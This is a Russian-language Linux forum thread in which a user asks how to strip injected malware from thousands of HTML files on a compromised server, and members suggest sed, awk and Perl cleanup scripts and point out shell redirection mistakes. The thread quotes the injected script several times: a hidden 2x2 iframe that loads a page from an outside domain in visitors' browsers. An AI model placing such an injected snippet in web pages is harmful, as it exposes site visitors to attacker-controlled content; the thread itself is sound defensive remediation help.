LINUX.ORG.RU
ФорумAdmin

Вирус! Помогите со скриптом, который его удалит!


1

1

Здравствуйте!

Меня попросили на дырявой машине удалить вирус! Там во многих тысячах html-файлов помещается такое:

<body><!--c3284d--><script type="text/javascript">
document.write('<iframe src="http://oxsanasiberians.com/downloads/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
</script><!--/c3284d-->

В PHP-файлах тоже есть вирус, но немного другой! Я закрыл дырки в системе, всю ночь не спал, поменял все-все-все пароли ко всему. Выяснилось, что вирус внесли по FTP, видимо, пароль протёк, я обнаружил это по логам!

Теперь хочу вылечить все файлы. Подскажите со скриптом, пожалуйста. Я не особый скриптописатель, я ещё только учусь, попробовал удалять через tr - он на спецсимволы ругается! Все «подозрительные» символы заэкранировал с помощью «\» - то же самое! Через sed - тоже ошибка такая:

sed '\<\!\-\-c3284d\-\-\>\<script type=\"text\/javascript\"\>/d' /home/vitaly/public_html/templates/template_X_3_v13/template.html
sed: -e expression #1, char 58: unterminated address regex

Может кто сталкивался с такой бедой? Подскажите, как автоматически почистить тысячи файлов! Просто удалить строки - нельзя, там надо <body> сохранить (оно - не вирус).


Вирус - самораспространяющаяся вредоносная программа.

Да, напиши небольшой скриптик на перле.

unfo ★★★★★
()

попробовал удалять через tr

Тонко.

unterminated address regex

Тебе какбы говорят, что ты не обозначил диапазон, к которому будет применяться regexp.

vahtu
()

В выражении sed надо добавить первым символом /, чтобы регулярка была между слешами.

gentoo_root ★★★★★
()

sed 's/whatever//' file

твой вариант на седе удаляет строки

aol ★★★★★
()
$ cat clean.pl 
#!/usr/bin/perl -pi.bak
BEGIN{undef $/;
$s=qq{<body><!--c3284d--><script type=«text/javascript»>
document.write('<iframe src="http://oxsanasiberians.com/downloads/stats.php" name=«Twitter» scrolling=«auto» frameborder=«no» align=«center» height=«2» width=«2»></iframe>');
</script><!--/c3284d-->};
$l=length $s;
}
substr($_,$i,$l)='<body>' while index($_,$s) != -1;
$ cat test.html
<html><body><!--c3284d--><script type=«text/javascript»>
document.write('<iframe src="http://oxsanasiberians.com/downloads/stats.php" name=«Twitter» scrolling=«auto» frameborder=«no» align=«center» height=«2» width=«2»></iframe>');
</script><!--/c3284d--></body></html>
$ perl clean.pl test.html
$ cat test.html
<body>84d--></body></html>
$


Чуть-чуть недоделал. Где-то 6 байт не учитываются.

AITap ★★★★★
()
cat change_one.sh

#!/bin/sh

D=`dirname "$2"`
mkdir -p "$D"
awk '/<body><!--c3284d--/ {print "<body>"; f=1}; f==0 {print}; /--\/c3284d--/ {f=0};' "$1" > "$2"
вызов:
chmod +x change_one.sh

OD=/old/www/root_dir
ND=/new
mkdir $ND

find $OD -type f -exec ./change_one.sh {} > $ND/{} \;

появится исправленная копия файлов /new/old/www/root_dir/...

Вобщем я не проверял, может где накосячил, так что проверь на копии данных

sdio ★★★★★
()
Последнее исправление: sdio (всего исправлений: 1)

многих тысячах html-файлов

И да, основная проблема тут по-моему не вирусе.

Kalashnikov ★★★
()
$ cat tmp.html
<body><!--c3284d--><script type="text/javascript">
document.write('<iframe src="http://oxsanasiberians.com/downloads/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
</script><!--/c3284d-->
</body>
$ sed 's/<body>/<body>\n/' tmp.html | sed '/<!--c3284d-->/,/<!--\/c3284d-->/d'
<body>
</body>
anonymous
()

на дырявой машине
во многих тысячах html-файлов

так понимаю что вариант откатить до предыдущей ревизии в принципе не рассматривается

wxw ★★★★★
()
Ответ на: комментарий от Kalashnikov

You can't parse [X]HTML with regex. Because HTML can't be parsed by regex. Regex is not a tool that can be used to correctly parse HTML.

Ок.

vahtu
()
Ответ на: комментарий от Kalashnikov

Вот из-за таких пессимистов как вы, мы до сих пор на Марсе не высадились.
Вы бы сами хоть подумали о смысле написанного по ссылке.
Речь там идёт об неком абстракном произвольном HTML, из внешнего (недоверенного) источника
Если у ТС простой, собственный (т.е. хорошо ему известный и заранее корректный) HTML, то всё там прекрасно парсится

zolden ★★★★★
()
Ответ на: комментарий от Kalashnikov

> Устал уже постить этот линк.

а я устал уже его читать… по сцылке сильно устаревшая информация. например, регекспами на перл-5.10+ и перл-6 таки можно парсить (x)html (и получать в результате DOM-дерево, например). правда, там уже не совсем те регекспы, которым учили в школе :)

arsi ★★★★★
()
Ответ на: комментарий от sdio

Не сработало, создало один большой файл с именем «{}» в директории «new»!

Я подправил первый скрипт немного для обработки одного файла, он работает. Теперь пробую вызывать его так:

find ./ -name \*html -exec /home/vitaly/one.sh {} > {} \;

Но ничего не выходит, файлы остаются неизменными! Подскажите пожалуйста, где тут ошибка?

xl743
() автор топика
Ответ на: комментарий от AITap

Буду разбираться, спасибо! Перла вообще не знаю :((( Поэтому хотел без него обойтись - чтоб запомнить метод решения в подобных случаях. Но если обычные не сработают, буду анализировать и применять Ваш метод с перлом!

xl743
() автор топика
Ответ на: комментарий от xl743

Никогда не запускайте `команда $файл > $файл`! Шелл _сначала_ откроет файл и затрёт его, а потом будет запущена программа (и она отработает на пустом файле).

AITap ★★★★★
()
Ответ на: комментарий от AITap

Спасибо! А как Вы об этом узнали? Я, как учащийся, интересуюсь, где люди о таких вещах узнают. Наверняка ведь, не от корки до корки читают, а это - не поверхностные вещи!

xl743
() автор топика
Ответ на: комментарий от AITap

Сделал так:

find templates -name \*html -exec /home/vitaly/one.sh {} > new/{} \;

Тоже не помогло! В директории new создаётся файл {} (так и называется). Почему так? :(

xl743
() автор топика
Ответ на: комментарий от xl743

А как Вы об этом узнали?

На опыте. На самом деле это где-то написано, но когда я впервые это попробовал, ничего об этом не знал. Изучите Advanced Bash Scripting Guide, даже если там нет этого, есть куча других полезных вещей.

В директории new создаётся файл {} (так и называется). Почему так? :(

Шелл обрабатывает символ «>» сам.
Получается (с точки зрения шелла): какая-то команда > new/{} ";"
При этом find не видит, что -exec заканчивается ";" или «+», и завершается с ошибкой, а шелл предварительно создаёт этот файл.

Уберите «>», он там вовсе не нужен (перенаправление вывода выполняется внутри скрипта).

AITap ★★★★★
()
Ответ на: комментарий от AITap

Спасибо за разъяснения! Очень неочевидно для меня :(((

Проблему решил следующим образом. Создал такой скрипт:

#!/bin/sh
echo "$1"
cp -pf $1 /tmp/virt
sed 's/<body>/<body>\n/' /tmp/virt | sed '/<!--c3284d-->/,/<!--\/c3284d-->/d' > $1
exit 0

И вызывал его так:

find public_html -name \*html -exec /home/vitaly/one.sh {} \;

Такие манипуляции с копированием - чтоб сохранить пермиссии и владельцев файлов!

Вроде бы, всё сработало.

Спасибо и Вам, и другим участникам за помощь!

Кстати, я когда задавал вопрос, думал, что есть уже что-то готовое для такого простого действия как замена куска текста (пусть даже и HTML) во множестве файлов, а выходит, что нет!

xl743
() автор топика
Ответ на: комментарий от amorpher

Да нет, я не наркоман, с чего Вы взяли?

Просто там сервер погибает, его никто не апдейтил много месяцев! Его уже давно поломали, а они только недавно заметили, когда их Гугл забанил в своём браузере. Я уже написал им, что так делать нельзя, что дырки очень часто находят. А к тому же у них там больше 50 юзеров и явно у кого-то мог протечь пароль.

xl743
() автор топика
Ответ на: комментарий от anonymous

Вот из-за такой неочевидности и недокументированности эти ваши шеллы нужно закопать.

Все очевидно и документировано. Не надо врать.

sdio ★★★★★
()
Ответ на: комментарий от sdio

З.Ы. И что интересно, сегодня когда ехал на работу у меня всплыло в голове это лишнее перенаправление в find, хотя я об этом и не думал и вообще забыл. В который раз поражаюсь работе подсознания.

sdio ★★★★★
()
Ответ на: комментарий от xl743

когда задавал вопрос, думал, что есть уже что-то готовое для такого простого действия как замена куска текста (пусть даже и HTML) во множестве файлов, а выходит, что нет

Есть же, но этой программе надо объяснить что и как удалять и в каких файлах, что и было сделано в этом обсуждении.

sdio ★★★★★
()
Ответ на: комментарий от xl743

Программа, написанная специально для удаления куска текста в HTML-файлах - windows-way. UNIX-way предлагает инструменты, которые можно легко (всего 3 значащих строчки) использовать для удаления текста в HTML-файлах.

AITap ★★★★★
()
Ответ на: Поздравляю! от Geed

Да, это оно! И я всё правильно сказал владельцам сервера - надо обновляться регулярно! А они сидят на своём CentOS'е, который в позапрошлый год последний раз обновлялся, и думают, что обновления - это сладострастие!

xl743
() автор топика

во многих тысячах html-файлов помещается такое

права на html-файлы конечно же 777? и apache конечно же работает от www?

Komintern ★★★★★
()
Ответ на: комментарий от Komintern

На некоторых были 777 - я сам шокирован! До чего люди доводят свой сервер! Я ещё только учусь, и то такого бы не совершил. А там, вроде как - американская фирма занималась платной поддержкой, и вот так настроили, представьте!

xl743
() автор топика
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.